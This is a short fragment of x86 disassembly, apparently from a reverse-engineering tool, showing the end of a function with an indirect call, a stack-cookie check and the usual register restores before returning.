lea eax, [ebp + 0x790]
push eax
call ebx
cmp dword [ebp - 0x74], 0
jne 0x6d7ef3a2
test eax, eax
je 0x6d7ef3a9
mov dword [ebp - 0x7c], 1
mov ecx, dword [ebp + 0xb90]
mov eax, dword [ebp - 0x7c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d7f98d8
add ebp, 0xb94
leave
ret